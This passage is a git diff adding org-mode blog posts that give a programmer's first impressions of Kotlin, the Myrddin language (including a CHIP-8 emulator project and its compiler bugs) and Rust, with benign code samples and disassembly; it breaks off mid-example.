+code without having to worry about the value changing from under you. I have no +idea if this is idiomatic or not, but it works for me. + +Of course, Kotlin was meant to interoperate with existing Java code, which has +little notion of explicit nullability, so the benefits of explicit nullability +go out the window more often than not. + +* No more checked exceptions + +I'm sorry, but I really don't want to write about how much I hate checked +exceptions in Java. If you aren't familiar with them, but still want to know +what they are, I'd suggest looking for an article elsewhere. Otherwise, all you +need to know is that they aren't an issue in Kotlin. + +* == for value equality as opposed to reference equality + +This comes back to the operator overloading feature, ==== calls out to =equals=. +I do have a slight problem with this, though. ===== is used for reference +equality. I'm thankful that the operator exists, but this is completely +orthogonal to what Javascript does and I think that this might be a barrier for +anyone coming from there. Again, this is a slight problem; I think the gains in +clarity from using ==== for value equality outweigh the awkward ===== operator. + +--- + +Whew, listing all of the features that make Kotlin a better choice than Java is +exhausting. This is one of the complaints that I have about the language: it's +massive in scope. Of course, this is a consequence of Java having an absurd +number of warts that Kotlin tries to mend, but learning the ins and outs of +Kotlin is a significant undertaking. This is a _shortened_ list of the features +I enjoyed but didn't mention in this post: + +- Lambdas having access to variables that are not final. +- Classes and methods being final by default. +- Inner classes being static by default. +- Properties (declaring 'get' and 'set'). +- Unpacking. +- Spreading. +- Collection literals. +- Common I/O functions such as =println= being included in the prelude. +- Top-level visibility. +- Module visibility. +- Named imports. +- Infix functions. +- Nested functions. +- Decorator classes with =by=. +- Anonymous objects being able to implement multiple interfaces. +- Immutable collections. +- Lazy evaluation. +- =with= and =apply= expressions. +- Safe type casting. +- Lazy member initialization. +- Function inlining. +- Support for DSL creation. +- ... + +I could seriously just go on for days. There's /a lot/ to keep in your head all +at once. + +Other than the huge scope, there are few things I'd say I dislike about Kotlin. +Sure, there are things I wish it had, like Rust-styled variable shadowing, but +nothing drives me up the wall or anything. =kotlin-mode= feels like it was put +together in a few hours and compilation times are miserable, but other than +that, Kotlin is a solid language. + +Also, I'll forgo talking about the community and the ecosystem. It's just +completely transparent to me right now. From what I /can/ gather, it seems to be +pretty corporate ([[https://kotlin.link/][kotlin.link]] links to a Linkedin group, Google+, Slack...), +which might be because of its use case in Android development, but whatever. + +To conclude, Kotlin's alright. It isn't a miracle of language design, but it's +designed in a way that makes it easy to map onto the JVM. In that sense, it's +pragmatic. I'm not /excited/ about it, but it's levels beyond Java in terms of +how tolerable it is, so I'll take it. Well, for Android development, at least. +For projects where I'm not wrestling with a Java-based platform, I'll use +something more fun. To me, Rust is like Marshmallow Froot Loops, and Kotlin is +like Cheerios.[fn:8] + +I'd also like to take a minute to thank everyone who's given feedback on the +previous post. I really appreciate all the suggestions! I've put Ada and Pony on +my list of languages to cover in the future, and hopefully I'll be able to make +some progress on shrinking that list now that I'm done with the semester and +finally have some free time. + +[fn:1] Source: [[https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=Java+Runtime+Environment][Common Vulnerabilities and Exposures, MITRE]] + +[fn:2] Well, that statement is only partially true. [[https://en.wikipedia.org/wiki/Jazelle][ARM processors can execute JVM bytecode in hardware]], and I would not be surprised if there are other chips out there with similar capabilities. + +[fn:3] Not that it would help me at all in reversing Doom RPG, I was just curious about bytecode. + +[fn:4] I would typically consider Minesweeper to be somewhat trivial, but implementing it for Android was not an easy task. + +[fn:5] I do think that assignment as an expression can occasionally afford some clarity, especially in the way of C, but in my time as a teaching assistant, I can say that I have seen its usage be erroneous more often than clever. + +[fn:6] In case it is unclear from the code, lambdas can be passed to functions sans parentheses. This is just syntactic sugar. + +[fn:7] Java 8 actually has an =Optional= type, but people seem to dislike it. Wonder why... + +[fn:8] This [[https://en.wikipedia.org/wiki/Metacity#Aim][analogy]] is painfully overused, but it just can't be beat. diff --git a/haunt/posts/first-impressions-of-the-myrddin-programming-language.org b/haunt/posts/first-impressions-of-the-myrddin-programming-language.org new file mode 100644 index 0000000..a5c6662 --- /dev/null +++ b/haunt/posts/first-impressions-of-the-myrddin-programming-language.org @@ -0,0 +1,412 @@ +#+TITLE: First Impressions of the Myrddin Programming Language +#+DATE: <2020-01-05 Sun 18:38> +#+TAGS: opinion programming myrddin + +It's been [[http://jakob.space/blog/first-impressions-of-the-rust-programming-language.html][over a year]] since I last wrote about contenders for the throne that C +currently sits upon, so I'll spare you the prosy introduction and cut to the +chase. I'd like to share some thoughts on my recent foray into a little +programming language I came across while browsing [[https://lobste.rs/][lobste.rs]] some years ago: +[[https://myrlang.org/][Myrddin]], the pet project of [[https://eigenstate.org/][Ori Bernstein]]. From the language specification, +"Myrddin is designed to be a simple programming language. It is designed to +provide the programmer with predictable behavior and a pragmatic set of +semantics, providing the benefits of strong type checking, generics, type +inference, and modern features with a high cost-benefit ratio. Myrddin is not a +language designed to explore the forefront of type theory or compiler +technology. Its focus is on being a practical, small, well defined, and easy to +understand language for work that needs to be close to the hardware. Myrddin is +influenced strongly by C and ML, with ideas from too many other places to name." +The front page of the website specifically states that "[i]t aims to fit into a +similar niche as C, but with fewer bullets in your feet." I see these +descriptions and the cat-v-inspired stylesheets as a warning to those who don't +appreciate a spartan attitude towards software development.[fn:2] Fortunately, +I'm not one of those people. + +Like last time, I'll be getting my hands dirty using the language to implement +something nontrivial. There aren't many other applications written in Myrddin; +the [[https://eigenstate.org/software/ircmyr][irc.myr]] IRC client is the only real example I was able to find.[fn:3] It +seems most of the work has gone towards developing libraries. + +It took a restless night for me to come up with a project for my exploration. I +took a peek at the [[https://myrlang.org/wishlist][wishlist]], but nothing on it stood out to me. My choices were +restricted somewhat by the limited architecture support: I wanted to work on a +lightweight [[https://en.wikipedia.org/wiki/Imageboard#Danbooru-style_boards][Booru]] engine to use as a self-hosted tagged image gallery, but my +"server"[fn:1] is ARMv6, so I wouldn't have been able to use it myself. Oh well. +The next language I plan to write about uses LLVM as a backend, so I'll have my +opportunity then. Some of the other ideas I toyed with were a text editor and a +Lisp interpreter[fn:5], but I settled on hacking together a CHIP-8 emulator. +That demands some sort of graphical output, so it should be a good opportunity +to demonstrate the C binding support. There's plenty of room to go above the +bare-minimum for features, too, like implementing an assembler, debugger, or +JIT. (I only ended up doing the first of those). Furthermore, it would be (to my +knowledge) the first graphical application writen in Myrddin, and I figure that +a CHIP-8 emulator of my own would be good to have, because if I ever decide to +write a "toy" compiler, CHIP-8 machine code would make for a fun target. But +before we can start writing an emulator, though, we've got to read the docs. + +* Documentation + +The language is niche enough that search engine indexing is a problem, but +documentation does exist. The website has a [[https://myrlang.org/tutorial][tutorial]], a [[https://myrlang.org/doc/index.html][library reference]], and a +[[https://myrlang.org/spec.html][language specification]]. There's also an [[https://myrlang.org/playground][online compiler]], which seems to be the +trendy™ thing to do nowadays. Jesting aside, I do really appreciate that there's +an easy way to hop in and start messing with the language. I do have a some +complaints, though. First, the workings of the memory model are only mentioned +offhandedly in a few spots. With some effort and prior experience writing C, you +can figure it out, but when I'm working with a systems programming language, I +like to understand the lifetimes of my variables. This was incredibly +frustrating when I wrote the assembler for chip; I was constantly dealing with +strings being emptied beneath my feet. My other complaint is that the C binding +interface, despite being presented as a feature on the front page, is mentioned +literally nowhere in the documentation.[fn:4] It took some digging in the +mailing lists to find the [[https://eigenstate.org/archive/myrddin-dev/2015-Oct/0000002.html][only explanation]] of how to use it. + +* Tooling + +There's a [[https://git.eigenstate.org/ori/vim-myr.git/][configuration for vim]] and a [[https://github.com/refi64/howl-myr][bundle for howl]], but I don't use either, +so I wrote my own [[https://git.sr.ht/~jakob/myrddin-mode][major mode]] for GNU Emacs. It's... not great. This is the first +time I've written a major mode, but it still makes for a nicer experience than +writing programs in =fundamental-mode=. There's also support for Myrddin in Ori's +[[https://git.eigenstate.org/ori/ctags-myr.git/][fork of ctags]]. So... yeah. The tooling for /writing/ Myrddin is underwhelming, but +that's mostly a result of the project's size. There are other parts of the +tooling that are worth remarking on, though. + +* Build System + +In true Unix fashion, different parts of the compilation process are broken up +into separate programs. =6m= is the compiler (for AMD64), =muse= is used for symbol +relocation when working with packages, and the good ol' =as= and =ld= on your system +are conscripted to finish the job. This is all orchestrated by the build system +for Myrddin, [[https://myrlang.org/mbld/][mbld]], which I feel strikes a nice balance between utility and +simplicity. Everything is defined in a =bld.proj= file at the root of your source +tree, and the syntax is remarkably similar to the Myrddin language itself. +Here's the setup for chip: + +#+BEGIN_SRC myrddin +bin asm = + asm.myr +;; + +bin chip = + main.myr + lib sdl +;; + +lib sdl = + sdl.myr + sdl.glue.c +;; +#+END_SRC + +Targets are declared by listing the inputs that comprise them. In this case, the +executable for our CHIP-8 assembler, =asm=, is made from the =asm.myr= source file, +and the executable for our CHIP-8 emulator, =chip= is made from the =main.myr= +source file and the =sdl= library, which in turn is made from =sdl.myr= and +=sdl.glue.c=. There are actually quite a few target types supported by mbld (=gen=, +in particular, got me excited, even though I didn't have anything to use it for +at the time). Part of me wishes this was more general-purpose, because I'd use +this as a =make= replacement in a heartbeat if I could. + +Oh, also, if you're on Gentoo, you can install all of these from my [[https://git.sr.ht/~jakob/zerodaysfordays][overlay]]. The +compiler and friends are packaged under =dev-lang/myrddin=. + +The compiler leaves a bit to be desired, though. + +#+BEGIN_SRC prog +jakob@Epsilon ~/Code/chip $ mbld -b asm asm.myr && ./asm + 6m asm.myr +asm.myr:52: type "char" incompatible with "byte" near Otup:(union + `std.None + `std.Some byte[:] +;;,byte[:][:]) + char from asm.myr:24 + byte from asm.myr:8 +FAIL: 6m asm.myr +#+END_SRC + +Compiler error messages are _really_ hard to get right. They're not something I'd +expect a small project like this to nail, so complaining about it feels like +yelling at my houseplant for not making me dinner, but it does get old fast. +Here's another one, in response to trying to invoke =.len= on an array instead of +a slice. + +#+BEGIN_SRC prog +jakob@Epsilon ~/Code/chip $ mbld -b asm asm.myr + 6m asm.myr +6m: typeinfo.c:363: tyoffset: Assertion `ty->type == Tystruct' failed. +CRASH: 6m asm.myr +#+END_SRC + +If you ponder on this for long enough, it /kind of/ makes sense. Y'know, the =.= +dereferencing operator is typically used for structs, and I just introduced some +code that uses that, so maybe that's the issue. But notice that we don't even +have a line number in =asm.myr=. Not a fun thing to track down. + +There are a couple of hard-to-reproduce compiler bugs as well. Take this snippet: + +#+BEGIN_SRC myrddin +use std +use sdl + +const main = { + var win, r, tex + var pixels : uint8[64 * 32] + sdl.init(sdl.INIT_VIDEO) + win = sdl.mkwin(("chip!\0" : byte#), sdl.WIN_POS_UNSPEC, sdl.WIN_POS_UNSPEC, 640, 480, sdl.WIN_OPENGL) + r = sdl.mkrenderer(win, -1, sdl.RENDERER_ACCEL) + tex = sdl.mktexture(r, sdl.PIXFMT_RGB332, sdl.TEXACCESS_STREAM, 64, 32) + + var i + for i = 0; i < 64 * 32; i++; + pixels[i] = (i % 256) + ;; + + sdl.update(tex, (pixels[:] : void#), 64) + sdl.copy(r, tex) + sdl.present(r) + + sdl.delay(1000) + + sdl.freerenderer(r) + sdl.freewin(win) + sdl.quit() +} +#+END_SRC + +#+BEGIN_SRC prog + 6m -O obj -I obj main.myr +/tmp/tmp5e0bdad78953-main.myr.s: Assembler messages: +/tmp/tmp5e0bdad78953-main.myr.s:99: Warning: 256 shortened to 0 +/tmp/tmp5e0bdad78953-main.myr.s:103: Error: can't encode register '%ah' in an instruction requiring REX prefix. +/tmp/tmp5e0bdad78953-main.myr.s:125: Warning: 2048 shortened to 0 +Couldn't run assembler +CRASH: 6m -O obj -I obj main.myr +#+END_SRC + +It compiles fine if you replace the =(i % 256)= with something that doesn't +involve the modulo operator. I came across a handful of issues like this when +writing chip. If you do a =Ctrl+F= for "HACK" in [[https://git.sr.ht/~jakob/chip/tree/master/main.myr][main.myr]], you'll see everywhere I +had to get creative to avoid triggering a compiler bug. Again, though, I'm +asking a lot of a small project when I complain about issues like these. + +* Language Features + +With that out of the way, I suppose it's time to see if Myrddin really is the +practical, small, well defined, and easy to understand language it hopes to be. +If you'd like to look at code I wrote to experiment with these features, the +repository is [[https://git.sr.ht/~jakob/chip][here]]. I chose the name 'chip' as a reference to the bland names +chosen for the [[http://man.9front.org/1/nintendo][emulators provided with 9front]], since Myrddin seems like the kind +of thing that would appeal to those folks. + +** Syntax + +I dig it! The parser deals with logical lines, so semicolons aren't necessary, +but can be used in place of a newline if desired. It ends up feeling a bit like +Go. The only control flow constructs in Myrddin are =if/elif/else=, =while=, and +=for=. I suppose there's =goto= as well, but I haven't had a good reason to use that +yet. =elif= is a cute nod to (presumably) Python. The convenience I'm most +thankful for is the support for tuple destructuring. + +#+BEGIN_SRC myrddin +var a, b +(a, b) = (1, 2) +std.put("a: {}, b: {}\n", a, b) +#+END_SRC + +#+BEGIN_EXPORT html +
+ +
+#+END_EXPORT + +** Scoping + +Right off the bat, we're doing better than C. Declarations can appear in any +order, and can be used at any point where they're in scope. In other words, +function prototypes are unnecessary. + +Variable shadowing is half-way there. This works: + +#+BEGIN_SRC myrddin +var a = 1 +if true + var a = 2 +;; +std.put("{}\n", a) // Prints "1". +#+END_SRC + +But with this, the compiler throws a fit about "pattern shadows variable +declared near a:int". + +#+BEGIN_SRC myrddin +var a = 1 +match 1 +| a: std.put("{}", a) +;; +std.put("{}", a) +#+END_SRC + +** Closures + +Yep, there's support for lexical closures. It's rockin'. What's interesting is +that there isn't a special syntax for declaring functions. Instead, you assign +function literals to symbols. + +A minor point, but returning early from a function in Common Lisp is enough of a +pain in the rear that I'd like to point it out here. Myrddin supports multiple +points of exit from a function. + +#+BEGIN_SRC myrddin +const factorial = {n + if n < 1 + -> 1 + ;; + -> n * factorial(n - 1) +} +#+END_SRC + +Of course =if= being an expression in Common Lisp makes =factorial= trivial to +implement without any early-return constructs, but you get the point. + +** Type System + +One difference between Myrddin and some other languages with type inference like +Rust is that Myrddin doesn't require that arguments have a type specifier. This +is valid Myrddin code: + +#+BEGIN_SRC myrddin +use std + +const factorial = {n + if n < 1 + -> 1 + ;; + -> n * factorial(n - 1) +} + +const main = { + std.put("{}! = {}\n", n, factorial(n)) +} +#+END_SRC + +It does start to fall apart if you have unused functions that are more +complicated than the =factorial= example, but for the most part, you can get away +without giving any type specifiers, which is nice. + +There's also support for algebraic data types (with all of your favorites in +=std=, like =std.result=) and pattern matching, which is capable of descending into +the structure of practically any type. Even "pointer chasing," or matching on +the value referenced by a pointer. There's a neat syntax for referring to ADT +variants with backticks, which I think does wonders for readability. The only +beef I have is that I was yearning for an =if let=-type construct the whole time, +but that's a minor point. + +Aside from that, I don't have many comments about the type system. I appreciate +the support for fixed-width integer types and tuples, and I'm glad that there's +support for generics (with traits, =impl=, et al.), even if it isn't something I +used extensively when writing chip. + +After working with Rust, being given access to raw pointers in Myrddin feels +like getting a BB gun for Christmas. They're a bit funky, though. You have to go +out of your way to do pointer arithmetic, which is probably a good thing. + +The syntax for array literals is pretty neat, too. You can selectively +initialize certain indices like =x = [0: 1, 73: 2]=. + +** Package System + +[[https://eigenstate.org/notes/myrmodules][The Myrddin module system is simple and easy to understand. There simply isn't +much to it.]] Really, though, they're little more than a =pkg= clause listing all of +the declarations to be exported. Here's the =pkg= for my SDL2 wrapper: + +#+BEGIN_SRC myrddin +pkg sdl = + const INIT_VIDEO : uint32 = 32 + + extern const init : (flags : uint32 -> int) + extern const quit : (-> void) + + type win = void# + + const WIN_POS_UNSPEC : int = 536805376 + const WIN_OPENGL : uint32 = 2 + + extern const mkwin : (title : byte#, x : int, y : int, w : int, h : int, flags : uint32 -> win) + extern const freewin : (win : win -> void) + + type renderer = void# + + const RENDERER_ACCEL : uint32 = 2 + + extern const mkrenderer : (win : win, index : int, flags: uint32 -> renderer) + extern const copy : (r : renderer, tex : texture -> int) + extern const present : (r : renderer -> void) + extern const freerenderer : (r : renderer -> void) + + type texture = void# + + const PIXFMT_RGB332 : uint32 = 336660481 + const TEXACCESS_STREAM : int = 1 + + extern const mktexture : (r : renderer, fmt : uint32, access : int, w : int, h : int -> texture) + extern const update : (tex : texture, pixels : void#, pitch : int -> int) + extern const freetexture : (tex : texture -> void) + + extern const delay : (ms : uint32 -> void) + + const SCANCODE_1 : uint8 = 30 + const SCANCODE_2 : uint8 = 31 + const SCANCODE_3 : uint8 = 32 + const SCANCODE_4 : uint8 = 33 + const SCANCODE_Q : uint8 = 20 + const SCANCODE_W : uint8 = 26 + const SCANCODE_E : uint8 = 8 + const SCANCODE_R : uint8 = 21 + const SCANCODE_A : uint8 = 4 + const SCANCODE_S : uint8 = 22 + const SCANCODE_D : uint8 = 7 + const SCANCODE_F : uint8 = 9 + const SCANCODE_Z : uint8 = 29 + const SCANCODE_X : uint8 = 27 + const SCANCODE_C : uint8 = 6 + const SCANCODE_V : uint8 = 25 + const SCANCODE_ESC : uint8 = 41 + + extern const getkbd : ( -> uint8[256]#) +;; +#+END_SRC + +Packages are imported with a =use= clause, and relative imports are supported if +the package name is wrapped in double quotes. + +* Standard Library + +It's very nice. You'll be using =libstd= and =libbio=, the buffered input/output +library, mostly, but there's support for dates, HTTP, INI parsing, JSON, regular +expressions, threading, and making system calls, all out of the box. + +=libstd= provides the basic I/O functions we all expect, which work with format +specifiers that are simpler than but similar to Rust's. They look like this: + +#+BEGIN_SRC myrddin +std.put("{} + {} = {}\n", 2, 2, 5) +#+END_SRC + +There's a [[https://myrlang.org/doc/libtestr/][unit testing library]]. It isn't awful, but it isn't particularly wieldy +either. The example at the bottom of that page was enough to discourage me from +taking a TDD-style approach with chip. + +* Conclusion + +I like Myrddin a lot, and I feel it lives up to its promises of being practical +and small. But at the end of the day, I don't think I'll be using it until it's +matured some more -- the limited architecture support and frustrating compiler +bugs are enough to turn me off. I'm hopeful, though. There's work underway to +write a self-hosted compiler using [[https://c9x.me/compile/][QBE]] as a backend, and we're only at release +0.3.0, so I'm certain the situation with tooling should improve in time. Maybe +this is my cue to quit whining and get hacking. See ya on the mailing lists! + +[fn:1] At the moment, a Raspberry Pi B+. It does the job, but I'm afraid of blowing the 512MB RAM trying to run a full MediaGoblin instance on it. +[fn:2] Hell, the tutorial recommends limiting lines to 60 characters in length. +[fn:3] It's worth mentioning that irc.myr is /really/ impressive for what it is. It uses native [[https://git.eigenstate.org/npnth/libtermdraw.git/tree][terminal drawing library]] instead of ncurses, and the interface is probably the best out of any of these irssi-like clients. If I weren't so enamored with [[https://en.wikipedia.org/wiki/ERC_(software)][ERC]], I'd probably be using it as my daily driver. Also, I wrote this sentence prior to discovering that [[https://github.com/andrewchambers/qc][qc]] was written in Myrddin -- that's another example of a program written in Myrddin worth looking at. +[fn:4] I still maintain this complaint because it's true of the official documentation, but I need to give Ori a break here: in editing this article, I came across the page on his personal website describing it. See "[[https://eigenstate.org/notes/mcbind.html][Automatic C Binding Generation for Myrddin]]". I didn't use mcbind for the SDL binding library I put together because I thought function names like =sdl.SDL_UpdateTexture= would stick out like a sore thumb among the surrounding Myrddin code. +[fn:5] After posting this, [[https://mastodon.sdf.org/web/accounts/225228][wasamasa]] reached out to me with his attempt at a [[https://github.com/wasamasa/mal-candidates/tree/master/myrddin][Lisp interpreter]] in Myrddin. I had a fun time reading through what's there, so I figured I'd drop a link to it. Be sure to look at =notes.md=. diff --git a/haunt/posts/first-impressions-of-the-rust-programming-language.org b/haunt/posts/first-impressions-of-the-rust-programming-language.org new file mode 100644 index 0000000..4509038 --- /dev/null +++ b/haunt/posts/first-impressions-of-the-rust-programming-language.org @@ -0,0 +1,445 @@ +#+TITLE: First Impressions of the Rust Programming Language +#+DATE: <2018-06-08 Fri 13:02> +#+TAGS: opinion programming rust + +C is almost 50 years old, and C++ is almost 40 years old. While age is usually +indicative of mature implementations with decades of optimization under their +belts, it also means that the language's feature set is mostly devoid of modern +advancements in programming language design. For that reason, you see a great +deal of encouragement nowadays to move to newer languages - they're designed +with contemporary platforms in mind, rather than working within the limitations +of platforms like the PDP-11. Among said "new languages" are Zig, Myrddin, Go, +Nim, D, Rust... even languages like Java and Elixir that run on a virtual +machine are occasionally suggested as alternatives to the AOT-compiled C and +C++. + +I have plans to look into the characteristics that distinguish each and every +one of these new programming languages, learning them and documenting my first +impressions in the form of blog posts. This post is the beginning of that +adventure: my first impressions of Rust. I chose to evaluate Rust first rather +than one of the other aforementioned contenders for a few reasons. For one, it's +backed by some big names like Mozilla, so I'm expecting it to have more polished +documentation than its independently developed counterparts - we might as well +step off with a language that I can learn without needing to read the compiler's +source code. Also, I've been fairly critical of Rust in the past because that +view was in-line with the opinions of my friends, but now that I've decided to +go out of my way to learn a new programming language, I might as well use this +as an opportunity to see if my criticisms were unfounded. + +Learning these new programming languages is certainly going to be an +undertaking. Because Python and C were the first languages I was introduced to, +I was able to simply buckle down, learn them, and apply them to pretty much +everything I was doing at the time. When I tried to learn other languages later +on, though, I had a hard time gauging whether or not I was making progress. I +think that this is because I wasn't engaged with what I was learning; I was, at +most, writing trivial programs with the language I was learning, and defaulting +to C or Python whenever I needed to work on a "real" project. My goal is to +learn these new languages to the extent that I can meaningfully evaluate them, +so I've looked back on my past attempts and come to the conclusion that I either +need to use them to develop something nontrivial, or make contributions to a +free software project written in the language, as suggested by [[https://hackernoon.com/unconventional-way-of-learning-a-new-programming-language-e4d1f600342c][several]] [[https://codewithoutrules.com/2017/09/09/learn-a-new-programming-language/][articles]]. +In the case of this post, it will be the former, as I've actually come to like +Rust enough to use it for my [[https://github.com/TsarFox/rebuild][reimplementation of Ken Silverman's BUILD engine]]. + +With my introduction for this series out of the way, we can get into my first +impressions of Rust. The first step was diving into the documentation to learn +it, so I guess it would make sense to begin with that. Simply put, there is no +shortage of high-quality learning material for Rust. [[https://doc.rust-lang.org/book/second-edition/index.html]["The Rust Programming +Language,"]] the equivalent of TCPL for Rust, is surprisingly well-written. Even +if you're familiar with a systems programming language like C, I would still +recommend reading it cover-to-cover. I had initially started off with the "Rust +for C++ Programmers" and the "Learn X in Y Minutes" tutorial for Rust, but until +I read TRPL, there was a lot that didn't make sense, and I was completely lost +when it came to using the standard library. The book is friendly, encouraging, +and full of great examples that outline common patterns in the standard library +and various third party crates. My only real complaint with TRPL is that some of +the the analogies step foot into the territory of [[https://www.hillelwayne.com/post/monad-tutorials/][monad tutorials]]. Some +exceptional examples are comparing a [[https://doc.rust-lang.org/book/second-edition/ch15-04-rc.html][reference-counting pointer to the TV in a +family room]], or comparing [[https://doc.rust-lang.org/book/second-edition/ch04-01-what-is-ownership.html][references to tables at a restaurant]]. They aren't all +bad, and there are a few that I actually really enjoy, like the comparison of +[[https://doc.rust-lang.org/book/second-edition/ch16-02-message-passing.html][message passing concurrency to a river]], but most of them try too hard to relate +the concept to something in the real world that it ends up being unhelpful. +Fortunately, the book is on GitHub and accepts pull requests, so I have plans to +send in suggestions for some alternatives. + +Despite the presence of great documentation, I predict that most people are +still going to have a hard time learning Rust. It brings some concepts that you +probably haven't seen before. As far as I'm aware, this is the first programming +language to offer compile-time memory management. (C++ has smart pointers which +are definitely similar, but those rules are enforced at runtime. Rust tightly +integrates its concepts of ownership and lifetimes into the compiler.) TRPL does +a good job of introducing the concepts for compile-time memory management, but I +feel that that it only really scratches the surface. For that reason, I'd like +to point anyone learning Rust to a great supplementary resource on the +memory-model: [[http://cglab.ca/~abeinges/blah/too-many-lists/book/]["Learning Rust With Entirely Too Many Linked Lists"]]. It's +hands-on, and just about as approachable as TRPL. [[http://softwaremaniacs.org/blog/2016/02/12/ownership-borrowing-hard/en/][This post]] might also help if +you're having trouble grasping the general concept. + +That brings me to another point - the features that Rust brings to the table +might be difficult to learn, but learning to use them pays off in the end. +Compile-time memory management requires designing your programs in a way you +might not be used to, but it definitely beats manual memory management, or +letting a runtime take care of garbage collection. + +C's memory model, for example, is manually managed. Heap allocations are +performed via =malloc(3)= and =calloc(3)=, and those allocations exist until +=free(3)= is called. Take this trivial piece of code for making a heap +allocation containing a string: + +#+BEGIN_SRC c :hl_lines 0 +#include +#include +#include + +int main(int argc, char **argv) { + char *buf; + + // Make a heap allocation of 14 bytes. + buf = calloc(14, 1); + + // calloc(3) CAN return a null pointer. + if (buf == NULL) { + return 1; + } + + // Fill the allocated buffer with a string, and print it. + strcpy(buf, "Hello, world!"); + puts(buf); + + // Free the heap allocation, since we're done with it. + // This won't always be at the end of the function, but it usually will be. + free(buf); + + return 0; +} +#+END_SRC + +This model requires keeping track of the allocations you make and ensuring that +they're freed when they aren't needed anymore - we easily could've forgotten +that call to =free(3)=. In this really trivial example, it doesn't matter +because the process exits and the operating system reclaims the heap page, but +if the program kept running after printing that string, we'd be dealing with a +memory leak. Anyway, C's manual memory management is explicit enough that you +can more or less predict what this will compile down to. GCC 6.4.0 emits +following amd64 code: + +#+BEGIN_SRC asm :hl_lines 0 + # Prelude. +55 pushq %rbp +4889e5 movq %rsp, %rbp +4883ec20 subq $0x20, %rsp +897dec movl %edi, -0x14(%rbp) +488975e0 movq %rsi, -0x20(%rbp) + + # calloc(14, 1), store pointer on the stack. +be01000000 movl $1, %esi +bf0e000000 movl $0xe, %edi +e892feffff callq sym.imp.calloc +488945f8 movq %rax, -8(%rbp) + + # Check for null pointer. +48837df800 cmpq $0, -8(%rbp) +7507 jne 0x750 +b801000000 movl $1, %eax +eb3b jmp 0x78b + + # (Really optimized) call to strcpy. +488b45f8 movq -8(%rbp), %rax +48ba48656c6c. movabsq $0x77202c6f6c6c6548, %rdx +488910 movq %rdx, 0(%rax) +c740086f726c. movl $0x646c726f, 8(%rax) +66c7400c2100 movw $0x21, 0xc(%rax) + + # puts(buf) +488b45f8 movq -8(%rbp), %rax +4889c7 movq %rax, %rdi +e846feffff callq sym.imp.puts + + # free(buf) +488b45f8 movq -8(%rbp), %rax +4889c7 movq %rax, %rdi +e82afeffff callq sym.imp.free + + # Teardown. +b800000000 movl $0, %eax +c9 leave +c3 retq +0f1f00 nopl 0(%rax) +#+END_SRC + +The equivalent in Rust is similar, but as you'll see, we don't need to +explicitly free the heap allocation. + +#+BEGIN_SRC rust :hl_lines 0 +use std::io; +use std::io::Write; + +fn main() { + let buf = Box::new(b"Hello, world!\n"); + io::stdout().write(*buf); +} +#+END_SRC + +rustc 1.25 compiles this down into the following amd64 code[fn:1]: + +#+BEGIN_SRC asm :hl_lines 0 + # Prelude. +4883ec48 subq $0x48, %rsp + + # Heap allocation, made by the 'std::boxed::Box' smart pointer. +b808000000 movl $8, %eax +89c1 movl %eax, %ecx +4889cf movq %rcx, %rdi +4889ce movq %rcx, %rsi +e8caedffff callq sym.alloc::heap::exchange_malloc::h42fa40019bea1ed3 + + # We actually end up storing a reference to the bytestring, rather than copying the individual bytes into the box. + # Regardless, I think this should still illustrate heap allocation fairly well, and I'm trying to keep the example somewhat simple so we'll roll with it. +488d0de3e705. leaq str.Hello__world, %rcx +4889c6 movq %rax, %rsi +488908 movq %rcx, 0(%rax) +4889742410 movq %rsi, 0x10(%rsp) + + # Get the handle to stdout. +e855590000 callq sym.std::io::stdio::stdout::h537f6f9874379378 +4889442408 movq %rax, 8(%rsp) +488b442408 movq 8(%rsp), %rax +4889442430 movq %rax, 0x30(%rsp) + + # stdout.write(*buf); +488b4c2410 movq 0x10(%rsp), %rcx +488b11 movq 0(%rcx), %rdx +be0e000000 movl $0xe, %esi +89f1 movl %esi, %ecx +488d7c2418 leaq 0x18(%rsp), %rdi +488d742430 leaq 0x30(%rsp), %rsi +e8965a0000 callq sym._std::io::stdio::Stdout_as_std::io::Write_::write::h12094683b11bc5a8 + + # Free the 'std::io::Result' that's returned by 'write'. + # We didn't check its, which is considered bad form, but this is just a simple example. +488d7c2418 leaq 0x18(%rsp), %rdi +e8fef4ffff callq sym.core::ptr::drop_in_place::h72bdea260ebb17c9 + + # Free the stdout handle. +488d7c2430 leaq 0x30(%rsp), %rdi +e8a6f4ffff callq sym.core::ptr::drop_in_place::h55479d5b85e18c56 + + # Finally, free the heap allocation we made. +488d7c2410 leaq 0x10(%rsp), %rdi +e8faf5ffff callq sym.core::ptr::drop_in_place::ha5ac9a364139ad29 + + # Teardown. +4883c448 addq $0x48, %rsp +c3 retq +#+END_SRC + +Besides needing to allocate a handle to interact with stdout, rustc's emitted +assembly does pretty much the same thing as that of GCC - allocate a buffer, +fill it, then free it when we're done using it. Rust just façades this process +with a friendlier abstraction. + +Another feature I've come to really enjoy is that there are no more NULL +pointers - they've been replaced by a strict type system à la Haskell. In the C +example above, we saw that =calloc(3)= can return =NULL= if glibc isn't able to +allocate enough memory. We easily could've forgotten to put in the check to make +sure the it isn't =NULL=, in which case we would get a segmentation fault. +Preventing this sort of thing is what people are talking about when they say +"memory safety." For a segmentation fault, the operating system has to jump in +because we're doing something we shouldn't - dereferencing a =NULL= pointer. +There are plenty of other naughty things we can do in C, like freeing a heap +allocation twice, or even worse, writing outside the bounds of a buffer. Rust +aims to have the compiler step in when we do something dumb, rather than leaving +that to the operating system or exploit mitigation systems. To do this for +=NULL=-able references, Rust provides an =Option= type (and the =Result= type) +that can represent either something or nothing. You see it used extensively in +the standard library. Consider the =find= method of =std::string::String=, a +method for finding the index of a substring in a string. There's the possibility +that the substring exists in the string, in which case we'd just return that +index, but what if it doesn't exist? In the case of C, we might return some +silly value like '-1', but in Rust, we return an =Option= - either some +=usize= value, or nothing. And the compiler makes sure we understand the +implications of this. + +#+BEGIN_SRC rust :hl_lines 0 +fn main() { + let to_search = String::from("I may contain foo."); + let index = to_search.find("foo"); + println!("index - 5: {}", index - 5); +} +#+END_SRC + +This is a pretty inane example, but please bear with me. If we try to compile +this, rustc errors out, because we're trying to treat a variable that might +represent nothing as if it were guaranteed to be something. + +#+BEGIN_SRC +error[E0369]: binary operation `-` cannot be applied to type `std::option::Option` + --> test.rs:4:31 + | + 4 | println!("index - 5: {}", index - 5); + | ^^^^^^^^^ + | + = note: an implementation of `std::ops::Sub` might be missing for `std::option::Option` +#+END_SRC + +This would be fixed by inspecting the Option, ensuring that it *is* something, +rather than nothing. It's an algebraic data type, so we can destructure it and +work with the index if =find= returned something. + +#+BEGIN_SRC rust 